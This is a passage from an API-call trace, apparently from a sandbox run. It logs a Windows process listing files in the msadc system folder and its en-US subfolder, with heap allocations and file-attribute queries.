RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.492] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0055.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.492] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0055.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.493] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.493] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.493] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0055.493] GetLastError () returned 0x12 [0055.493] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0055.493] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.493] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.493] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0055.493] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0055.493] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.493] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf0a6b8 [0055.494] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf0a6b8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf0a6b8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.494] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0a6b8) returned 1 [0055.494] NtClose (Handle=0x180) returned 0x0 [0055.494] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee40d0 [0055.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4158 [0055.494] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.495] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.495] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0055.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.495] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0055.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee40d0) returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf051c0 [0055.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06718 [0055.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.496] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf051e0 [0055.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06820 [0055.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.496] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05200 [0055.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06508 [0055.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.497] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05220 [0055.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06928 [0055.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.497] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05240 [0055.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06b38 [0055.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa40) returned 0xef8cd8 [0055.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.498] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.498] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0055.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.498] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.498] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05260 [0055.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06d48 [0055.498] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.498] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0055.498] GetLastError () returned 0x12 [0055.498] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.498] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.498] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.498] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0055.498] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0055.498] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0055.498] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0055.498] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0055.498] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0055.498] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0055.499] GetLastError () returned 0x12 [0055.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4158) returned 1 [0055.499] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0055.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.499] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0055.499] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0055.499] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0055.499] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0055.500] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0055.500] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0055.500] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, 